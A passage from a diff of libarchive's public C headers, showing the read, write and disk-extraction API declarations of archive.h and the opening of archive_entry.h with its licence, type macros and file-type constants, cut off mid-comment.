#define ARCHIVE_FORMAT_CPIO_BIN_BE (ARCHIVE_FORMAT_CPIO | 3)
|
||||
#define ARCHIVE_FORMAT_CPIO_SVR4_NOCRC (ARCHIVE_FORMAT_CPIO | 4)
|
||||
#define ARCHIVE_FORMAT_CPIO_SVR4_CRC (ARCHIVE_FORMAT_CPIO | 5)
|
||||
#define ARCHIVE_FORMAT_SHAR 0x20000
|
||||
#define ARCHIVE_FORMAT_SHAR_BASE (ARCHIVE_FORMAT_SHAR | 1)
|
||||
#define ARCHIVE_FORMAT_SHAR_DUMP (ARCHIVE_FORMAT_SHAR | 2)
|
||||
#define ARCHIVE_FORMAT_TAR 0x30000
|
||||
#define ARCHIVE_FORMAT_TAR_USTAR (ARCHIVE_FORMAT_TAR | 1)
|
||||
#define ARCHIVE_FORMAT_TAR_PAX_INTERCHANGE (ARCHIVE_FORMAT_TAR | 2)
|
||||
#define ARCHIVE_FORMAT_TAR_PAX_RESTRICTED (ARCHIVE_FORMAT_TAR | 3)
|
||||
#define ARCHIVE_FORMAT_TAR_GNUTAR (ARCHIVE_FORMAT_TAR | 4)
|
||||
#define ARCHIVE_FORMAT_ISO9660 0x40000
|
||||
#define ARCHIVE_FORMAT_ISO9660_ROCKRIDGE (ARCHIVE_FORMAT_ISO9660 | 1)
|
||||
#define ARCHIVE_FORMAT_ZIP 0x50000
|
||||
#define ARCHIVE_FORMAT_EMPTY 0x60000
|
||||
#define ARCHIVE_FORMAT_AR 0x70000
|
||||
#define ARCHIVE_FORMAT_AR_GNU (ARCHIVE_FORMAT_AR | 1)
|
||||
#define ARCHIVE_FORMAT_AR_BSD (ARCHIVE_FORMAT_AR | 2)
|
||||
#define ARCHIVE_FORMAT_MTREE 0x80000
|
||||
#define ARCHIVE_FORMAT_RAW 0x90000
|
||||
#define ARCHIVE_FORMAT_XAR 0xA0000
|
||||
|
||||
/*-
|
||||
* Basic outline for reading an archive:
|
||||
* 1) Ask archive_read_new for an archive reader object.
|
||||
* 2) Update any global properties as appropriate.
|
||||
* In particular, you'll certainly want to call appropriate
|
||||
* archive_read_support_XXX functions.
|
||||
* 3) Call archive_read_open_XXX to open the archive
|
||||
* 4) Repeatedly call archive_read_next_header to get information about
|
||||
* successive archive entries. Call archive_read_data to extract
|
||||
* data for entries of interest.
|
||||
* 5) Call archive_read_finish to end processing.
|
||||
*/
|
||||
__LA_DECL struct archive *archive_read_new(void);
|
||||
|
||||
/*
|
||||
* The archive_read_support_XXX calls enable auto-detect for this
|
||||
* archive handle. They also link in the necessary support code.
|
||||
* For example, if you don't want bzlib linked in, don't invoke
|
||||
* support_compression_bzip2(). The "all" functions provide the
|
||||
* obvious shorthand.
|
||||
*/
|
||||
__LA_DECL int archive_read_support_compression_all(struct archive *);
|
||||
__LA_DECL int archive_read_support_compression_bzip2(struct archive *);
|
||||
__LA_DECL int archive_read_support_compression_compress(struct archive *);
|
||||
__LA_DECL int archive_read_support_compression_gzip(struct archive *);
|
||||
__LA_DECL int archive_read_support_compression_lzma(struct archive *);
|
||||
__LA_DECL int archive_read_support_compression_none(struct archive *);
|
||||
__LA_DECL int archive_read_support_compression_program(struct archive *,
|
||||
const char *command);
|
||||
__LA_DECL int archive_read_support_compression_program_signature
|
||||
(struct archive *, const char *,
|
||||
const void * /* match */, size_t);
|
||||
|
||||
__LA_DECL int archive_read_support_compression_rpm(struct archive *);
|
||||
__LA_DECL int archive_read_support_compression_uu(struct archive *);
|
||||
__LA_DECL int archive_read_support_compression_xz(struct archive *);
|
||||
|
||||
__LA_DECL int archive_read_support_format_all(struct archive *);
|
||||
__LA_DECL int archive_read_support_format_ar(struct archive *);
|
||||
__LA_DECL int archive_read_support_format_cpio(struct archive *);
|
||||
__LA_DECL int archive_read_support_format_empty(struct archive *);
|
||||
__LA_DECL int archive_read_support_format_gnutar(struct archive *);
|
||||
__LA_DECL int archive_read_support_format_iso9660(struct archive *);
|
||||
__LA_DECL int archive_read_support_format_mtree(struct archive *);
|
||||
__LA_DECL int archive_read_support_format_raw(struct archive *);
|
||||
__LA_DECL int archive_read_support_format_tar(struct archive *);
|
||||
__LA_DECL int archive_read_support_format_xar(struct archive *);
|
||||
__LA_DECL int archive_read_support_format_zip(struct archive *);
|
||||
|
||||
|
||||
/* Open the archive using callbacks for archive I/O. */
|
||||
__LA_DECL int archive_read_open(struct archive *, void *_client_data,
|
||||
archive_open_callback *, archive_read_callback *,
|
||||
archive_close_callback *);
|
||||
__LA_DECL int archive_read_open2(struct archive *, void *_client_data,
|
||||
archive_open_callback *, archive_read_callback *,
|
||||
archive_skip_callback *, archive_close_callback *);
|
||||
|
||||
/*
|
||||
* A variety of shortcuts that invoke archive_read_open() with
|
||||
* canned callbacks suitable for common situations. The ones that
|
||||
* accept a block size handle tape blocking correctly.
|
||||
*/
|
||||
/* Use this if you know the filename. Note: NULL indicates stdin. */
|
||||
__LA_DECL int archive_read_open_filename(struct archive *,
|
||||
const char *_filename, size_t _block_size);
|
||||
/* archive_read_open_file() is a deprecated synonym for ..._open_filename(). */
|
||||
__LA_DECL int archive_read_open_file(struct archive *,
|
||||
const char *_filename, size_t _block_size);
|
||||
/* Read an archive that's stored in memory. */
|
||||
__LA_DECL int archive_read_open_memory(struct archive *,
|
||||
void * buff, size_t size);
|
||||
/* A more involved version that is only used for internal testing. */
|
||||
__LA_DECL int archive_read_open_memory2(struct archive *a, void *buff,
|
||||
size_t size, size_t read_size);
|
||||
/* Read an archive that's already open, using the file descriptor. */
|
||||
__LA_DECL int archive_read_open_fd(struct archive *, int _fd,
|
||||
size_t _block_size);
|
||||
/* Read an archive that's already open, using a FILE *. */
|
||||
/* Note: DO NOT use this with tape drives. */
|
||||
__LA_DECL int archive_read_open_FILE(struct archive *, FILE *_file);
|
||||
|
||||
/* Parses and returns next entry header. */
|
||||
__LA_DECL int archive_read_next_header(struct archive *,
|
||||
struct archive_entry **);
|
||||
|
||||
/* Parses and returns next entry header using the archive_entry passed in */
|
||||
__LA_DECL int archive_read_next_header2(struct archive *,
|
||||
struct archive_entry *);
|
||||
|
||||
/*
|
||||
* Retrieve the byte offset in UNCOMPRESSED data where last-read
|
||||
* header started.
|
||||
*/
|
||||
__LA_DECL __LA_INT64_T archive_read_header_position(struct archive *);
|
||||
|
||||
/* Read data from the body of an entry. Similar to read(2). */
|
||||
__LA_DECL __LA_SSIZE_T archive_read_data(struct archive *,
|
||||
void *, size_t);
|
||||
|
||||
/*
|
||||
* A zero-copy version of archive_read_data that also exposes the file offset
|
||||
* of each returned block. Note that the client has no way to specify
|
||||
* the desired size of the block. The API does guarantee that offsets will
|
||||
* be strictly increasing and that returned blocks will not overlap.
|
||||
*/
|
||||
#if ARCHIVE_VERSION_NUMBER < 3000000
|
||||
__LA_DECL int archive_read_data_block(struct archive *a,
|
||||
const void **buff, size_t *size, off_t *offset);
|
||||
#else
|
||||
__LA_DECL int archive_read_data_block(struct archive *a,
|
||||
const void **buff, size_t *size,
|
||||
__LA_INT64_T *offset);
|
||||
#endif
|
||||
|
||||
/*-
|
||||
* Some convenience functions that are built on archive_read_data:
|
||||
* 'skip': skips entire entry
|
||||
* 'into_buffer': writes data into memory buffer that you provide
|
||||
* 'into_fd': writes data to specified filedes
|
||||
*/
|
||||
__LA_DECL int archive_read_data_skip(struct archive *);
|
||||
__LA_DECL int archive_read_data_into_buffer(struct archive *,
|
||||
void *buffer, __LA_SSIZE_T len);
|
||||
__LA_DECL int archive_read_data_into_fd(struct archive *, int fd);
|
||||
|
||||
/*
|
||||
* Set read options.
|
||||
*/
|
||||
/* Apply option string to the format only. */
|
||||
__LA_DECL int archive_read_set_format_options(struct archive *_a,
|
||||
const char *s);
|
||||
/* Apply option string to the filter only. */
|
||||
__LA_DECL int archive_read_set_filter_options(struct archive *_a,
|
||||
const char *s);
|
||||
/* Apply option string to both the format and the filter. */
|
||||
__LA_DECL int archive_read_set_options(struct archive *_a,
|
||||
const char *s);
|
||||
|
||||
/*-
|
||||
* Convenience function to recreate the current entry (whose header
|
||||
* has just been read) on disk.
|
||||
*
|
||||
* This does quite a bit more than just copy data to disk. It also:
|
||||
* - Creates intermediate directories as required.
|
||||
* - Manages directory permissions: non-writable directories will
|
||||
* be initially created with write permission enabled; when the
|
||||
* archive is closed, dir permissions are edited to the values specified
|
||||
* in the archive.
|
||||
* - Checks hardlinks: hardlinks will not be extracted unless the
|
||||
* linked-to file was also extracted within the same session. (TODO)
|
||||
*/
|
||||
|
||||
/* The "flags" argument selects optional behavior, 'OR' the flags you want. */
|
||||
|
||||
/* Default: Do not try to set owner/group. */
|
||||
#define ARCHIVE_EXTRACT_OWNER (0x0001)
|
||||
/* Default: Do obey umask, do not restore SUID/SGID/SVTX bits. */
|
||||
#define ARCHIVE_EXTRACT_PERM (0x0002)
|
||||
/* Default: Do not restore mtime/atime. */
|
||||
#define ARCHIVE_EXTRACT_TIME (0x0004)
|
||||
/* Default: Replace existing files. */
|
||||
#define ARCHIVE_EXTRACT_NO_OVERWRITE (0x0008)
|
||||
/* Default: Try create first, unlink only if create fails with EEXIST. */
|
||||
#define ARCHIVE_EXTRACT_UNLINK (0x0010)
|
||||
/* Default: Do not restore ACLs. */
|
||||
#define ARCHIVE_EXTRACT_ACL (0x0020)
|
||||
/* Default: Do not restore fflags. */
|
||||
#define ARCHIVE_EXTRACT_FFLAGS (0x0040)
|
||||
/* Default: Do not restore xattrs. */
|
||||
#define ARCHIVE_EXTRACT_XATTR (0x0080)
|
||||
/* Default: Do not try to guard against extracts redirected by symlinks. */
|
||||
/* Note: With ARCHIVE_EXTRACT_UNLINK, will remove any intermediate symlink. */
|
||||
#define ARCHIVE_EXTRACT_SECURE_SYMLINKS (0x0100)
|
||||
/* Default: Do not reject entries with '..' as path elements. */
|
||||
#define ARCHIVE_EXTRACT_SECURE_NODOTDOT (0x0200)
|
||||
/* Default: Create parent directories as needed. */
|
||||
#define ARCHIVE_EXTRACT_NO_AUTODIR (0x0400)
|
||||
/* Default: Overwrite files, even if one on disk is newer. */
|
||||
#define ARCHIVE_EXTRACT_NO_OVERWRITE_NEWER (0x0800)
|
||||
/* Detect blocks of 0 and write holes instead. */
|
||||
#define ARCHIVE_EXTRACT_SPARSE (0x1000)
|
||||
|
||||
__LA_DECL int archive_read_extract(struct archive *, struct archive_entry *,
|
||||
int flags);
|
||||
__LA_DECL int archive_read_extract2(struct archive *, struct archive_entry *,
|
||||
struct archive * /* dest */);
|
||||
__LA_DECL void archive_read_extract_set_progress_callback(struct archive *,
|
||||
void (*_progress_func)(void *), void *_user_data);
|
||||
|
||||
/* Record the dev/ino of a file that will not be written. This is
|
||||
* generally set to the dev/ino of the archive being read. */
|
||||
__LA_DECL void archive_read_extract_set_skip_file(struct archive *,
|
||||
dev_t, ino_t);
|
||||
|
||||
/* Close the file and release most resources. */
|
||||
__LA_DECL int archive_read_close(struct archive *);
|
||||
/* Release all resources and destroy the object. */
|
||||
/* Note that archive_read_finish will call archive_read_close for you. */
|
||||
#if ARCHIVE_VERSION_NUMBER < 2000000
|
||||
/* Erroneously declared to return void in libarchive 1.x */
|
||||
__LA_DECL void archive_read_finish(struct archive *);
|
||||
#else
|
||||
__LA_DECL int archive_read_finish(struct archive *);
|
||||
#endif
|
||||
|
||||
/*-
|
||||
* To create an archive:
|
||||
* 1) Ask archive_write_new for a archive writer object.
|
||||
* 2) Set any global properties. In particular, you should set
|
||||
* the compression and format to use.
|
||||
* 3) Call archive_write_open to open the file (most people
|
||||
* will use archive_write_open_file or archive_write_open_fd,
|
||||
* which provide convenient canned I/O callbacks for you).
|
||||
* 4) For each entry:
|
||||
* - construct an appropriate struct archive_entry structure
|
||||
* - archive_write_header to write the header
|
||||
* - archive_write_data to write the entry data
|
||||
* 5) archive_write_close to close the output
|
||||
* 6) archive_write_finish to cleanup the writer and release resources
|
||||
*/
|
||||
__LA_DECL struct archive *archive_write_new(void);
|
||||
__LA_DECL int archive_write_set_bytes_per_block(struct archive *,
|
||||
int bytes_per_block);
|
||||
__LA_DECL int archive_write_get_bytes_per_block(struct archive *);
|
||||
/* XXX This is badly misnamed; suggestions appreciated. XXX */
|
||||
__LA_DECL int archive_write_set_bytes_in_last_block(struct archive *,
|
||||
int bytes_in_last_block);
|
||||
__LA_DECL int archive_write_get_bytes_in_last_block(struct archive *);
|
||||
|
||||
/* The dev/ino of a file that won't be archived. This is used
|
||||
* to avoid recursively adding an archive to itself. */
|
||||
__LA_DECL int archive_write_set_skip_file(struct archive *, dev_t, ino_t);
|
||||
|
||||
__LA_DECL int archive_write_set_compression_bzip2(struct archive *);
|
||||
__LA_DECL int archive_write_set_compression_compress(struct archive *);
|
||||
__LA_DECL int archive_write_set_compression_gzip(struct archive *);
|
||||
__LA_DECL int archive_write_set_compression_lzma(struct archive *);
|
||||
__LA_DECL int archive_write_set_compression_none(struct archive *);
|
||||
__LA_DECL int archive_write_set_compression_program(struct archive *,
|
||||
const char *cmd);
|
||||
__LA_DECL int archive_write_set_compression_xz(struct archive *);
|
||||
/* A convenience function to set the format based on the code or name. */
|
||||
__LA_DECL int archive_write_set_format(struct archive *, int format_code);
|
||||
__LA_DECL int archive_write_set_format_by_name(struct archive *,
|
||||
const char *name);
|
||||
/* To minimize link pollution, use one or more of the following. */
|
||||
__LA_DECL int archive_write_set_format_ar_bsd(struct archive *);
|
||||
__LA_DECL int archive_write_set_format_ar_svr4(struct archive *);
|
||||
__LA_DECL int archive_write_set_format_cpio(struct archive *);
|
||||
__LA_DECL int archive_write_set_format_cpio_newc(struct archive *);
|
||||
__LA_DECL int archive_write_set_format_mtree(struct archive *);
|
||||
/* TODO: int archive_write_set_format_old_tar(struct archive *); */
|
||||
__LA_DECL int archive_write_set_format_pax(struct archive *);
|
||||
__LA_DECL int archive_write_set_format_pax_restricted(struct archive *);
|
||||
__LA_DECL int archive_write_set_format_shar(struct archive *);
|
||||
__LA_DECL int archive_write_set_format_shar_dump(struct archive *);
|
||||
__LA_DECL int archive_write_set_format_ustar(struct archive *);
|
||||
__LA_DECL int archive_write_set_format_zip(struct archive *);
|
||||
__LA_DECL int archive_write_open(struct archive *, void *,
|
||||
archive_open_callback *, archive_write_callback *,
|
||||
archive_close_callback *);
|
||||
__LA_DECL int archive_write_open_fd(struct archive *, int _fd);
|
||||
__LA_DECL int archive_write_open_filename(struct archive *, const char *_file);
|
||||
/* A deprecated synonym for archive_write_open_filename() */
|
||||
__LA_DECL int archive_write_open_file(struct archive *, const char *_file);
|
||||
__LA_DECL int archive_write_open_FILE(struct archive *, FILE *);
|
||||
/* _buffSize is the size of the buffer, _used refers to a variable that
|
||||
* will be updated after each write into the buffer. */
|
||||
__LA_DECL int archive_write_open_memory(struct archive *,
|
||||
void *_buffer, size_t _buffSize, size_t *_used);
|
||||
|
||||
/*
|
||||
* Note that the library will truncate writes beyond the size provided
|
||||
* to archive_write_header or pad if the provided data is short.
|
||||
*/
|
||||
__LA_DECL int archive_write_header(struct archive *,
|
||||
struct archive_entry *);
|
||||
#if ARCHIVE_VERSION_NUMBER < 2000000
|
||||
/* This was erroneously declared to return "int" in libarchive 1.x. */
|
||||
__LA_DECL int archive_write_data(struct archive *,
|
||||
const void *, size_t);
|
||||
#else
|
||||
/* Libarchive 2.0 and later return ssize_t here. */
|
||||
__LA_DECL __LA_SSIZE_T archive_write_data(struct archive *,
|
||||
const void *, size_t);
|
||||
#endif
|
||||
|
||||
#if ARCHIVE_VERSION_NUMBER < 3000000
|
||||
/* Libarchive 1.x and 2.x use off_t for the argument, but that's not
|
||||
* stable on Linux. */
|
||||
__LA_DECL __LA_SSIZE_T archive_write_data_block(struct archive *,
|
||||
const void *, size_t, off_t);
|
||||
#else
|
||||
/* Libarchive 3.0 uses explicit int64_t to ensure consistent 64-bit support. */
|
||||
__LA_DECL __LA_SSIZE_T archive_write_data_block(struct archive *,
|
||||
const void *, size_t, __LA_INT64_T);
|
||||
#endif
|
||||
__LA_DECL int archive_write_finish_entry(struct archive *);
|
||||
__LA_DECL int archive_write_close(struct archive *);
|
||||
#if ARCHIVE_VERSION_NUMBER < 2000000
|
||||
/* Return value was incorrect in libarchive 1.x. */
|
||||
__LA_DECL void archive_write_finish(struct archive *);
|
||||
#else
|
||||
/* Libarchive 2.x and later returns an error if this fails. */
|
||||
/* It can fail if the archive wasn't already closed, in which case
|
||||
* archive_write_finish() will implicitly call archive_write_close(). */
|
||||
__LA_DECL int archive_write_finish(struct archive *);
|
||||
#endif
|
||||
|
||||
/*
|
||||
* Set write options.
|
||||
*/
|
||||
/* Apply option string to the format only. */
|
||||
__LA_DECL int archive_write_set_format_options(struct archive *_a,
|
||||
const char *s);
|
||||
/* Apply option string to the compressor only. */
|
||||
__LA_DECL int archive_write_set_compressor_options(struct archive *_a,
|
||||
const char *s);
|
||||
/* Apply option string to both the format and the compressor. */
|
||||
__LA_DECL int archive_write_set_options(struct archive *_a,
|
||||
const char *s);
|
||||
|
||||
|
||||
/*-
|
||||
* ARCHIVE_WRITE_DISK API
|
||||
*
|
||||
* To create objects on disk:
|
||||
* 1) Ask archive_write_disk_new for a new archive_write_disk object.
|
||||
* 2) Set any global properties. In particular, you probably
|
||||
* want to set the options.
|
||||
* 3) For each entry:
|
||||
* - construct an appropriate struct archive_entry structure
|
||||
* - archive_write_header to create the file/dir/etc on disk
|
||||
* - archive_write_data to write the entry data
|
||||
* 4) archive_write_finish to cleanup the writer and release resources
|
||||
*
|
||||
* In particular, you can use this in conjunction with archive_read()
|
||||
* to pull entries out of an archive and create them on disk.
|
||||
*/
|
||||
__LA_DECL struct archive *archive_write_disk_new(void);
|
||||
/* This file will not be overwritten. */
|
||||
__LA_DECL int archive_write_disk_set_skip_file(struct archive *,
|
||||
dev_t, ino_t);
|
||||
/* Set flags to control how the next item gets created.
|
||||
* This accepts a bitmask of ARCHIVE_EXTRACT_XXX flags defined above. */
|
||||
__LA_DECL int archive_write_disk_set_options(struct archive *,
|
||||
int flags);
|
||||
/*
|
||||
* The lookup functions are given uname/uid (or gname/gid) pairs and
|
||||
* return a uid (gid) suitable for this system. These are used for
|
||||
* restoring ownership and for setting ACLs. The default functions
|
||||
* are naive, they just return the uid/gid. These are small, so reasonable
|
||||
* for applications that don't need to preserve ownership; they
|
||||
* are probably also appropriate for applications that are doing
|
||||
* same-system backup and restore.
|
||||
*/
|
||||
/*
|
||||
* The "standard" lookup functions use common system calls to lookup
|
||||
* the uname/gname, falling back to the uid/gid if the names can't be
|
||||
* found. They cache lookups and are reasonably fast, but can be very
|
||||
* large, so they are not used unless you ask for them. In
|
||||
* particular, these match the specifications of POSIX "pax" and old
|
||||
* POSIX "tar".
|
||||
*/
|
||||
__LA_DECL int archive_write_disk_set_standard_lookup(struct archive *);
|
||||
/*
|
||||
* If neither the default (naive) nor the standard (big) functions suit
|
||||
* your needs, you can write your own and register them. Be sure to
|
||||
* include a cleanup function if you have allocated private data.
|
||||
*/
|
||||
__LA_DECL int archive_write_disk_set_group_lookup(struct archive *,
|
||||
void * /* private_data */,
|
||||
__LA_GID_T (*)(void *, const char *, __LA_GID_T),
|
||||
void (* /* cleanup */)(void *));
|
||||
__LA_DECL int archive_write_disk_set_user_lookup(struct archive *,
|
||||
void * /* private_data */,
|
||||
__LA_UID_T (*)(void *, const char *, __LA_UID_T),
|
||||
void (* /* cleanup */)(void *));
|
||||
|
||||
/*
|
||||
* ARCHIVE_READ_DISK API
|
||||
*
|
||||
* This is still evolving and somewhat experimental.
|
||||
*/
|
||||
__LA_DECL struct archive *archive_read_disk_new(void);
|
||||
/* The names for symlink modes here correspond to an old BSD
|
||||
* command-line argument convention: -L, -P, -H */
|
||||
/* Follow all symlinks. */
|
||||
__LA_DECL int archive_read_disk_set_symlink_logical(struct archive *);
|
||||
/* Follow no symlinks. */
|
||||
__LA_DECL int archive_read_disk_set_symlink_physical(struct archive *);
|
||||
/* Follow symlink initially, then not. */
|
||||
__LA_DECL int archive_read_disk_set_symlink_hybrid(struct archive *);
|
||||
/* TODO: Handle Linux stat32/stat64 ugliness. <sigh> */
|
||||
__LA_DECL int archive_read_disk_entry_from_file(struct archive *,
|
||||
struct archive_entry *, int /* fd */, const struct stat *);
|
||||
/* Look up gname for gid or uname for uid. */
|
||||
/* Default implementations are very, very stupid. */
|
||||
__LA_DECL const char *archive_read_disk_gname(struct archive *, __LA_GID_T);
|
||||
__LA_DECL const char *archive_read_disk_uname(struct archive *, __LA_UID_T);
|
||||
/* "Standard" implementation uses getpwuid_r, getgrgid_r and caches the
|
||||
* results for performance. */
|
||||
__LA_DECL int archive_read_disk_set_standard_lookup(struct archive *);
|
||||
/* You can install your own lookups if you like. */
|
||||
__LA_DECL int archive_read_disk_set_gname_lookup(struct archive *,
|
||||
void * /* private_data */,
|
||||
const char *(* /* lookup_fn */)(void *, __LA_GID_T),
|
||||
void (* /* cleanup_fn */)(void *));
|
||||
__LA_DECL int archive_read_disk_set_uname_lookup(struct archive *,
|
||||
void * /* private_data */,
|
||||
const char *(* /* lookup_fn */)(void *, __LA_UID_T),
|
||||
void (* /* cleanup_fn */)(void *));
|
||||
|
||||
/*
|
||||
* Accessor functions to read/set various information in
|
||||
* the struct archive object:
|
||||
*/
|
||||
/* Bytes written after compression or read before decompression. */
|
||||
__LA_DECL __LA_INT64_T archive_position_compressed(struct archive *);
|
||||
/* Bytes written to compressor or read from decompressor. */
|
||||
__LA_DECL __LA_INT64_T archive_position_uncompressed(struct archive *);
|
||||
|
||||
__LA_DECL const char *archive_compression_name(struct archive *);
|
||||
__LA_DECL int archive_compression(struct archive *);
|
||||
__LA_DECL int archive_errno(struct archive *);
|
||||
__LA_DECL const char *archive_error_string(struct archive *);
|
||||
__LA_DECL const char *archive_format_name(struct archive *);
|
||||
__LA_DECL int archive_format(struct archive *);
|
||||
__LA_DECL void archive_clear_error(struct archive *);
|
||||
__LA_DECL void archive_set_error(struct archive *, int _err,
|
||||
const char *fmt, ...);
|
||||
__LA_DECL void archive_copy_error(struct archive *dest,
|
||||
struct archive *src);
|
||||
__LA_DECL int archive_file_count(struct archive *);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
/* These are meaningless outside of this header. */
|
||||
#undef __LA_DECL
|
||||
#undef __LA_GID_T
|
||||
#undef __LA_UID_T
|
||||
|
||||
/* These need to remain defined because they're used in the
|
||||
* callback type definitions. XXX Fix this. This is ugly. XXX */
|
||||
/* #undef __LA_INT64_T */
|
||||
/* #undef __LA_SSIZE_T */
|
||||
|
||||
#endif /* !ARCHIVE_H_INCLUDED */
|
||||
@@ -0,0 +1,524 @@
|
||||
/*-
|
||||
* Copyright (c) 2003-2008 Tim Kientzle
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR(S) ``AS IS'' AND ANY EXPRESS OR
|
||||
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
|
||||
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
|
||||
* IN NO EVENT SHALL THE AUTHOR(S) BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
|
||||
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
|
||||
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*
|
||||
* $FreeBSD: head/lib/libarchive/archive_entry.h 201096 2009-12-28 02:41:27Z kientzle $
|
||||
*/
|
||||
|
||||
#ifndef ARCHIVE_ENTRY_H_INCLUDED
|
||||
#define ARCHIVE_ENTRY_H_INCLUDED
|
||||
|
||||
/*
|
||||
* Note: archive_entry.h is for use outside of libarchive; the
|
||||
* configuration headers (config.h, archive_platform.h, etc.) are
|
||||
* purely internal. Do NOT use HAVE_XXX configuration macros to
|
||||
* control the behavior of this header! If you must conditionalize,
|
||||
* use predefined compiler and/or platform macros.
|
||||
*/
|
||||
|
||||
#include <sys/types.h>
|
||||
#include <stddef.h> /* for wchar_t */
|
||||
#include <time.h>
|
||||
|
||||
#if defined(_WIN32) && !defined(__CYGWIN__)
|
||||
#include <windows.h>
|
||||
#endif
|
||||
|
||||
/* Get appropriate definitions of standard POSIX-style types. */
|
||||
/* These should match the types used in 'struct stat' */
|
||||
#if defined(_WIN32) && !defined(__CYGWIN__)
|
||||
#define __LA_INT64_T __int64
|
||||
# if defined(__BORLANDC__)
|
||||
# define __LA_UID_T uid_t
|
||||
# define __LA_GID_T gid_t
|
||||
# define __LA_DEV_T dev_t
|
||||
# define __LA_MODE_T mode_t
|
||||
# else
|
||||
# define __LA_UID_T short
|
||||
# define __LA_GID_T short
|
||||
# define __LA_DEV_T unsigned int
|
||||
# define __LA_MODE_T unsigned short
|
||||
# endif
|
||||
#else
|
||||
#include <unistd.h>
|
||||
#define __LA_INT64_T int64_t
|
||||
#define __LA_UID_T uid_t
|
||||
#define __LA_GID_T gid_t
|
||||
#define __LA_DEV_T dev_t
|
||||
#define __LA_MODE_T mode_t
|
||||
#endif
|
||||
|
||||
/*
|
||||
* XXX Is this defined for all Windows compilers? If so, in what
|
||||
* header? It would be nice to remove the __LA_INO_T indirection and
|
||||
* just use plain ino_t everywhere. Likewise for the other types just
|
||||
* above.
|
||||
*/
|
||||
#define __LA_INO_T ino_t
|
||||
|
||||
|
||||
/*
|
||||
* On Windows, define LIBARCHIVE_STATIC if you're building or using a
|
||||
* .lib. The default here assumes you're building a DLL. Only
|
||||
* libarchive source should ever define __LIBARCHIVE_BUILD.
|
||||
*/
|
||||
#if ((defined __WIN32__) || (defined _WIN32) || defined(__CYGWIN__)) && (!defined LIBARCHIVE_STATIC)
|
||||
# ifdef __LIBARCHIVE_BUILD
|
||||
# ifdef __GNUC__
|
||||
# define __LA_DECL __attribute__((dllexport)) extern
|
||||
# else
|
||||
# define __LA_DECL __declspec(dllexport)
|
||||
# endif
|
||||
# else
|
||||
# ifdef __GNUC__
|
||||
# define __LA_DECL __attribute__((dllimport)) extern
|
||||
# else
|
||||
# define __LA_DECL __declspec(dllimport)
|
||||
# endif
|
||||
# endif
|
||||
#else
|
||||
/* Static libraries on all platforms and shared libraries on non-Windows. */
|
||||
# define __LA_DECL
|
||||
#endif
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
/*
|
||||
* Description of an archive entry.
|
||||
*
|
||||
* You can think of this as "struct stat" with some text fields added in.
|
||||
*
|
||||
* TODO: Add "comment", "charset", and possibly other entries that are
|
||||
* supported by "pax interchange" format. However, GNU, ustar, cpio,
|
||||
* and other variants don't support these features, so they're not an
|
||||
* excruciatingly high priority right now.
|
||||
*
|
||||
* TODO: "pax interchange" format allows essentially arbitrary
|
||||
* key/value attributes to be attached to any entry. Supporting
|
||||
* such extensions may make this library useful for special
|
||||
* applications (e.g., a package manager could attach special
|
||||
* package-management attributes to each entry).
|
||||
*/
|
||||
struct archive_entry;
|
||||
|
||||
/*
|
||||
* File-type constants. These are returned from archive_entry_filetype()
|
||||
* and passed to archive_entry_set_filetype().
|
||||
*
|
||||
* These values match S_XXX defines on every platform I've checked,
|
||||
* including Windows, AIX, Linux, Solaris, and BSD. They're
|
||||
* (re)defined here because platforms generally don't define the ones
|
||||
* they don't support. For example, Windows doesn't define S_IFLNK or
|
||||
* S_IFBLK. Instead of having a mass of conditional logic and system
|
||||
* checks to define any S_XXX values that aren't supported locally,
|
||||
* I've just defined a new set of such constants so that
|
||||
* libarchive-based applications can manipulate and identify archive
|
||||
* entries properly even if the hosting platform can't store them on
|
||||
* disk.
|
||||
*
|
||||
* These values are also used directly within some portable formats,
|
||||
* such as cpio. If you find a platform that varies from these, the
|
||||
* correct solution is to leave these alone and translate from these
|
||||
* portable values to platform-native values when entries are read from
|
||||
* or written to disk.
|
||||
*/
|
||||
#define AE_IFMT 0170000
|
||||
#define AE_IFREG 0100000
|
||||
#define AE_IFLNK 0120000
|
||||
#define AE_IFSOCK 0140000
|
||||
#define AE_IFCHR 0020000
|
||||
#define AE_IFBLK 0060000
|
||||
#define AE_IFDIR 0040000
|
||||
#define AE_IFIFO 0010000
|
||||
|
||||
/*
|
||||
* Basic object manipulation
|
||||
*/
|
||||
|
||||
__LA_DECL struct archive_entry *archive_entry_clear(struct archive_entry *);
|
||||
/* The 'clone' function does a deep copy; all of the strings are copied too. */
|
||||
__LA_DECL struct archive_entry *archive_entry_clone(struct archive_entry *);
|
||||
__LA_DECL void archive_entry_free(struct archive_entry *);
|
||||
__LA_DECL struct archive_entry *archive_entry_new(void);
|
||||
|
||||
/*
|
||||
* Retrieve fields from an archive_entry.
|
||||
*
|
||||
* There are a number of implicit conversions among these fields. For
|
||||
* example, if a regular string field is set and you read the _w wide
|
||||
* character field, the entry will implicitly convert narrow-to-wide
|
||||
* using the current locale. Similarly, dev values are automatically
|
||||
